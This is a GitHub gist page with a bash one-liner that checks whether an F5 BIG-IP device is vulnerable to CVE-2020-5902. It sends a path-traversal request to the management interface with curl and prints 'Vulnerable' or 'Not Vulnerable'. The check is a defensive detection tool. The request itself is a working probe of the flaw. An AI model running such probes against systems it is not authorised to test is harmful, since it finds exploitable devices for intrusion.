Skip to content

Instantly share code, notes, and snippets.

@akpotter
Forked from ykoster/cve-2020-5902-check.sh
Created July 6, 2020 02:43
Show Gist options
  • Save akpotter/3756fb159f0354fd16ef45965cd50e87 to your computer and use it in GitHub Desktop.
Save akpotter/3756fb159f0354fd16ef45965cd50e87 to your computer and use it in GitHub Desktop.
Bash one-liner to check if a device is vulnerable for CVE-2020-5902
curl --silent --insecure 'https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | \
grep -q Vulnerable && \
printf '\033[0;31mVulnerable\n' || \
printf '\033[0;32mNot Vulnerable\n'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment